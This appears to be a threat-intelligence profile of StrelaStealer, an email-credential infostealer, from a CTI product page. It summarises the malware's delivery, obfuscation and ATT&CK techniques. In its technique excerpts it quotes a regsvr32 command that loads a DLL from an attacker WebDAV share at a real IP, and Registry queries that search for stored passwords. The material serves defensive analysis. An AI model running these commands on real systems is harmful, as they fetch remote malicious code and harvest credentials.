Loading malware…
StrelaStealer, also known as Strela, is a Windows infostealer focused on harvesting email account data from desktop mail clients. Active since at least late 2022, it targets Microsoft Outlook and Mozilla Thunderbird by extracting stored IMAP-related credentials and related mailbox access data. On Outlook systems it enumerates profile data in the Windows Registry to recover account configuration and passwords; on Thunderbird systems it searches profile storage for credential databases and login data. Reported variants have also collected email data from infected hosts and transmitted the stolen information to attacker-controlled command-and-control infrastructure over HTTP POST, with request contents protected using a hard-coded XOR-based scheme.
The malware has been distributed through spearphishing and malspam campaigns, including archive attachments that deliver a JavaScript-based loader. Observed infection chains rely on user execution, after which the script launches native Windows utilities and PowerShell to retrieve and execute the payload. Some campaigns have used remote DLL execution through living-off-the-land binaries, while StrelaStealer payloads have also been deployed via DLL sideloading with renamed legitimate executables. Samples have used tailored lure filenames and Spanish-language decoy messaging, indicating social-engineering tradecraft aimed at convincing victims that a malicious file failed to open normally.
StrelaStealer incorporates multiple defense-evasion measures. Observed loaders and payloads use heavy obfuscation, including junk code, string manipulation, control-flow obfuscation, and oversized mathematical instruction blocks intended to frustrate static analysis and sandboxing. Some variants have also been signed with valid code-signing certificates. Development over time has included both DLL and PE forms as well as 32-bit and 64-bit builds.
The malware’s operational purpose is credential theft and exfiltration, particularly against organizations and users whose email access can enable follow-on compromise, account takeover, or intelligence collection. Available reporting indicates a recurring focus on Spanish-speaking victims in early observed campaigns.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
25 distinct techniques documented for this family, organized by ATT&CK tactic.
When the JS file is executed, it spawns a child process: powershell.exe. Subsequently, a Base64-encoded command is executed via PowerShell.
The initial payload extracted from these files is typically a JavaScript (JS) file, serving as the entry point for infection.
The payload expects a x.pdf file to be present in the launch directory at runtime. This pdf is launched by the malware as a decoy to trick the user into thinking they have only opened a PDF not launched an executable.
Examples include: "Sandworm Team leveraged Microsoft Office attachments which contained malicious macros..."; "Bumblebee has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs"; "Lumma Stealer has gained initial execution through victims opening malicious executable files embedded in zip archives, and MSI files within RAR files."
It has recently adopted obfuscation techniques such as string concatenation, character substitution, and anti-analysis tactics... including the insertion of extensive long junk text to complicate analysis.
The new "decoy" no longer requires a PDF instead a message box is launched that says... El archivo está dañado y no se puede ejecutar
In summary, the extracted text contains a Base64-encoded payload. When deobfuscated, it reveals the PowerShell instructions shown above.
The techniques observed in the analyzed StrelaStealer sample are not unique, but rather commonly employed by various initial loaders and droppers to circumvent detection mechanisms.
cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\134257976134.dll : This executes regsvr32 to silently ... register or load a DLL file hosted at the specified network share path.
The content repeatedly describes threat actors and malware using valid, stolen, forged, self-signed, or abused code-signing certificates to sign malware and appear legitimate, including examples such as AppleJeus using a valid digital signature from Sectigo, APT41 leveraging code-signing certificates, FIN7 signing Carbanak payloads, and SUNBURST being digitally signed by SolarWinds.
Adversaries may search the Registry on compromised systems for insecurely stored credentials... Example commands to find Registry keys related to password information: Local Machine Hive: reg query HKLM /f password /t REG_SZ /s Current User Hive: reg query HKCU /f password /t REG_SZ /s
AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine... Agent Tesla has the ability to extract credentials from configuration or support files... APT33 has used a variety of publicly available tools like LaZagne to gather credentials.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
The command initiates the execution of the timeout.exe binary, introducing a 1-second delay.
"Bazar can query the Registry for installed applications." / "BRONZE BUTLER has used tools to enumerate software installed on an infected host." / "LightSpy ... enumerate the Applications folder to collect the bundle name, bundle identifier, and version information..." / "Volt Typhoon has queried the Registry on compromised systems for information on installed software."
Multiple malware families (e.g., Avaddon, Bazar, Clop, Ryuk, REvil, LockBit, Zeus Panda) check OS language/keyboard layout/locale and terminate or alter execution if the system matches excluded languages (commonly Russian/CIS) or does not match desired target languages (e.g., Spanish/Portuguese, Arabic, Persian).
Agrius used a custom tool, sql.net4.exe, to query SQL databases and then identify and extract personally identifiable information... AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration... Ember Bear engages in mass collection from compromised systems during intrusions.
32 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
47 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
With the release of v0.16, here are the different malware families that we cover. blister deprecated ghostpulse latrodectus lobshot lumma netwire redlinestealer remcos smokeloader stealc strelastealer xorddos
StrelaStealer is an information stealer malware that exfiltrates credentials and sensitive data from infected systems.
An infostealer focused on stealing login credentials from popular email clients. It is distributed via malspam ZIP archives containing a JavaScript loader, uses obfuscation such as long junk text, string concatenation, character substitution, and anti-analysis techniques, and executes a Base64-encoded PowerShell chain that maps a WebDAV share and remotely loads a DLL via regsvr32 or rundll32 before dropping the main payload.
StrelaStealer is a stealer malware designed to extract user credentials stored in Microsoft Outlook and Mozilla Thunderbird. It is distributed via phishing emails that use real invoice notifications stolen from previously compromised email accounts.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.